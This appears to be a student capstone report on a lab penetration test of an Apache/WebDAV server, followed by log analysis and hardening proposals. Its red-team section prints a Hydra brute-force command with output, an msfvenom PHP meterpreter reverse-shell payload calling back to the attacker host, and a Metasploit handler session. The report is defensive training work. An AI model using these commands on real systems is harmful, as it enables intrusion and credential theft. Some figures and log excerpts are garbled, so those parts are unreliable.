Capstone Engagement

Assessment, Analysis, and Hardening of a Vulnerable System

Navdeep Singh, Crystal Hamilton, Shontae Hamilton, Jacob Starks

Table of Contents

This document contains the following sections:

Network Topology


Red Team: Security Assessment

Blue Team: Log Analysis and Attack Characterization

Hardening: Proposed Alarms and Mitigation Strategies



Network Topology



Network

Address Range: 192.168.1.0/24

Netmask: 255.355.355.0

Gateway: 0.0.0.0

Machines

IPv4: 192.168.1.1 OS: Windows

Hostname: Hyper-V

Manager

IPv4: 192.168.1.90 OS: Kali Linux Hostname: Kali

IPv4: 192.168.1.100

OS: Linux

Hostname: ELK

IPv4: 192.168.1.105

OS: Linux

Hostname: Capstone



Recon: Describing the Target

Nmap identified the following hosts on the network:

Hostname	IP Address	Role on Network
ML-REFVM-684427	192.168.1.1	Host for the Machine Cloud with Kali, ELK and Capstone managed via Hyper-V program
Kali	192.168.1.90	Attacker Machine used for penetration on the Capstone machine
ELK	192.168.1.100	Filebeat, Metricbeat and Packetbeat log collection from Capstone Machine and presented with Kibana
Captstone	192.168.1.105	Apache Server and Target Machine feeding log data to ELK

Vulnerability Assessment

The assessment uncovered the following critical vulnerabilities in the target:

Vulnerability	Description	Impact
Open Port 80	Open port allows for attackers to attempt a range of pentetration tactics.	With access to usernames and password, attackers can further inflict harm via C2 attacks. Backdoor connection allowed as a result
Apache 2.4.29 <u>CVE-2018-1312</u>	When generating an HTTP Digest authentication challenge, the nonce sent to prevent reply attacks was not correctly generated using a pseudo-random seed. In a cluster of servers using a common Digest authentication configuration	HTTP requests could be replayed across servers by an attacker without detection.
Brute Force Attack	Systematic entry of multiple credentials from file to gain access.	Without preventative settings to block multiple failed attempts, attacks can be run until correct credentials are discovered

Vulnerability Assessment continued

The assessment uncovered the following critical vulnerabilities in the target:

Vulnerability	Description	Impact
Exposed Password Hashes	Online resources allow for quick cracking of password hashes found in vulnerable files	Credentials provide access to attackers for use in further exploits
Local File Inclusion	Allow read and execution of files on victim machine.	Security compromised and open access to system
WebDAV Remote File Inclusion CVE-2007-4067	Absolute path traversal vulnerability in the clinetSuiteX6.clWebDav ActiveX control in CLINETSUITEX6.OCX in Clever Internet ActiveX Suite 6.2 allows remote attackers to create or overwrite arbitrary files via a full pathname in the second argument to the GetToFile method.	Users could upload via webdav and insert malicious scripts such as the reverse shell code for penetration
Weak Security: Simple Passwords and Usernames, No multi-factor authentication	Weak passwords used in system and easily guessed user names allow for attackers to gain quick entry. MFA complicates entry for attacker.	Credentials were easy to guess and crack using the rockyou.txt common password list. Without MFA, there are no preventative measures to address stolen credentials

Exploitation: Open Port 80

01


Tools & Processes

A simple nmap –Sv 192.168.1.0/24 command can illustrate all machines on the network and their open ports 02

Achievements

This scan shows us a significant vulnerability and points to a source for attacks via http requests. Additionally, we are able to check for vulnerabilities created by the outdated Apache 2.4.29 server

03



Exploitation: Exposed Password Hashes

01

02

03

Color Codes: Green: Exact match, Yellow: Partial match, Red. Not found.

Download CrackStation's Wordlist

Tools & Processes

Password hashes were found on the webserver pages and these were cracked via crackstation.net, and online hashcracker

Achievements

An md5 hash was cracked as user Ryan's password linux4u

Output shown below:



Exploitation: Weak Security Passwords/Usernames, No MFA




02

Tools & Processes

Passwords were made available by posting hashes within pages, usernames were simple first names for users, instructions were included on easily crackable pages. The Lack of MFA made this even easier.

Achievements

We were able to log into pages using both Ashton's credentials (Ashton/Leopoldo) and Ryan's (Ryan/linux4u)





Ashton Crack Evidence from using Hydra brute force attack. Screenshot shows the access to the secret_folder where instructions and hashes are stored for gaining entry to the corporate WebDAV server



Exploitation: Brute Force Attack

01

02


03

Tools & Processes

Hydra and rockyou.txt password list

Achievements

Cracked Ashton's password which allowed access to the secret_folder, storing instructions and hashes for gaining entry to the corporate server



root@Kali:~# hydra -l ashton -P /usr/share/wordlists/rockyou.txt -s 80 -f -vV 192.168.1.105 http-get /company_folders/secret_folder

```
[ATTEMPT] target 192.168.1.105 - login "ashton" - pass "jeferson" - 10142 o f 14344399 [child 7] (0/0)

[ATTEMPT] target 192.168.1.105 - login "ashton" - pass "jackass2" - 10143 o f 14344399 [child 13] (0/0)

[80][http-get] host: 192.168.1.105 login: ashton password: leopoldo

[STATUS] attack finished for 192.168.1.105 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-05 1

7:47:10
```

Exploitation: WebDAV Remote File Inclusion CVE-2007-4067

01

Tools & Processes

Used the network locations option in the Kali file browser, and gaining access via the the cracked hash credentials and Instruction file from the secret_folder


02

Achievements

Placed malicious shell2.php file for reverse shell attack



Evidence of placing malicious file shell2.php in the WebDAV server



Exploitation: Reverse Shell

01

Tools & Processes

Created a simple reverse shell attack using metasploit, moved file into WebDAV server, clicked on file from website and began infiltration and exploration of system files 02

Achievements


This reverse shell gave attackers a user shell to explore, modify and extract files 03



Exploitation: Reverse Shell continued

The file is opened on the WebDAV which initiates a meterpreter session where a shell command allows for exploitation, exploration and extraction of files, including discovery of the hidden flag in the / directory


```
root@Kali:~# msfvenom -p php/meterpreter reverse tcp -o shell2.php LHOST=19
2.168.1.90 LPORT=680
root@Kali:/usr/share/wordlists# msfconsole
    *** rting the Metasploit Framework console ... -
msf5 > use exploit/multi/handler
               ti/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
 msf5 exploit(multi/handler) > set lhost 192.168.1.90
 lhost ⇒ 192.168.1.90
 msf5 exploit(multi/ha
                       (ler) > set lport 680
 lport ⇒ 680
 msf5 exploit(multi/handler) > exploit
 Started reverse TCP handler on 192.168.1.90:680
 ls
    Meterpreter session 1 opened (192.168.1.90:680 \rightarrow 192.168.1.105:42808)
 at 2022-04-05 19:18:31 -0700
 meterpreter > ls
 Listing: /var/www/webdav
 -----
 Mode
                         Type Last modified
 100777/rwxrwxrwx 43
                              2019-05-07 11:19:55 -0700
                                                        passwd.dav
                              2022-04-05 18:44:49 -0700
                                                        php-meterpreter-s
 taged-reverse-tcp-443-php.rc
 100644/rw-r--r 30688 fil 2022-04-05 18:59:01 -0700 shell.php
```



Blue Team Log Analysis and Attack Characterization


Analysis: Identifying the Port Scan

- Scan occurred at 7:07 CST April 5th, 2022
- About 3000 packets were sent fro 192.168.1.90
- The varying ports, 1000 per ip address, and the single source ip, incremental ports with host.name kali give a good indication of amalicious nmap scanner




Analysis: Finding the Request for the Hidden Directory

- The Dirb requests for the hidden directories began around 00:17 on April 6th 2022, or 7:17PM CST April 5th, 2022. 5,592 hits were made that received a 404 (not found) error, while a total of 5,653 hits were made
- The attack ran GET requests to the Dirb word lists appended to the url http://192.168.1.105/* and returned two results: webdav via a 401(unauthorized) error and server-status via a 403 (forbidden) these errors are existential confirmation regardless of access




Analysis: Uncovering the Brute Force Attack

 14,158 hits were made via Hydra in the attack, after these hits the successful password was found as leopoldo at 00:47:45.076 on April 6th, 2022 or 7:47:45 CST April 5th, 2022



Analysis: Finding the WebDAV Connection

- 314 hits were made on the wedDAV directory with 16 accessing the shell2.php
- It would appear a few unsuccessful attempts to gain remote access through other php scripts and other files (php-meterpreter-staged-reverse-tcp-443-php.rc, passwd.dav and shell.php) were attempted, but the shell2.php was effective



) Apr 6, 2822 0 82:32:85.822 286

http://192.168.1.185/webday/shell2.phg

http://192.168.1.185/webday/shell2.phg

Blue TeamProposed Alarms and Mitigation Strategies

Mitigation: Blocking the Port Scan

Alarm

What kind of alarm can be set to detect future port scans?

 When packet traffic from a single ip source, or a coordinated group of ips, attempt to ping ports systematically, this can alert admins

What threshold would you set to activate this alarm?

 Any packet traffic from a single ip address pinging higher than 100 ports more than once in a 5 minute span should alert the SOC team

System Hardening

What configurations can be set on the host to mitigate port scans?

 According to Fortinet, "A firewall can prevent unauthorized access to a business's private network. It controls ports and their visibility, as well as detects when a port scan is in progress before shutting it down."

Describe the solution. If possible, provide required command lines.

 Implement and maintain a firewall to block visibility to ports and refuse traffic from ip addresses in violation

Mitigation: Finding the Request for the Hidden Directory

Alarm

What kind of alarm can be set to detect future unauthorized access?

- Unknown ips that haven't been allowlisted should trigger an alarm in the event of access
- Additionally, any excessive request amounts should block the ip address attempting to connect.

What threshold would you set to activate this alarm?

 The alarm should go off in the event of any access from an unknown address and/or sends more than 5 requests/min

System Hardening

What configuration can be set on the host to block unwanted access?

 Best practices would eliminate this directory from being on the server in the first place

Describe the solution. If possible, provide required command lines.

- Command: rmdir -r/company_folders/secret_folder
- Place the folder on a secure internal network pc or cloud vault solution, but nothing attached to a C2 vulnerable workstation

Mitigation: Preventing Brute Force Attacks

Alarm

What kind of alarm can be set to detect future brute force attacks?

 Unauthorized messages greater than 5 in one minute from a single IP source should begin the alarm. Greater than 500 should escalate the intensity of the alarm to gain more attention from SOC members

What threshold would you set to activate this alarm?

 >5 for an email, >500 for text and email, >1000 for upper management notification

System Hardening

What configuration can be set on the host to block brute force attacks?

 Block incoming trafffic from ip addresses sending more than 5 requests that return unauthorized status codes for an hour, block indefinitely until administrator review for ip addresses in violation multiple times

Describe the solution.

 User settings can limit login attempts and lockout policies, firewall settings can protect from unknown ip sources and traffic limits

Mitigation: Detecting the WebDAV Connection

Alarm

What kind of alarm can be set to detect future access to this directory?

 Limit access to pre-approved ip addresses and alert when any other source attempts to connect. Additionally, block traffic external to network.

What threshold would you set to activate this alarm?

 This alert should be sent to tier 1 SOC members when any attempt is made, and escalate to higher levels when multiple attempts occur simultaneously

System Hardening

What configuration can be set on the host to control access?

- The host can be configured to block all access save from allow-listed ips
- Additionally, ports can be blocked such as port 80, 443 for external ips attempting http connections since these are primarily used by web day

Describe the solution.

 Implement allow-list/deny-list procedures, block ports 80 and 443 from all network-external traffic

Mitigation: Identifying Reverse Shell Uploads

Alarm

What kind of alarm can be set to detect future file uploads?

- Monitor ports and set alert for any traffic coming from 680 or any port with successful auth after
- Alert when any new .php file is uploaded from unknown ip address

What threshold would you set to activate this alarm?

 Instant alert for traffic to 680 (used in attack) and/or future ports that appear in use after .php reverse shell attack

System Hardening

What configuration can be set on the host to block file uploads?

- Require internal uploads, block external access privilege escalation
- Block external access to new .php files on protected directories and/or require administrator approval for public access

Describe the solution.

 Eliminate access to previously used ports from known attacks, as well as port 80 and 443.

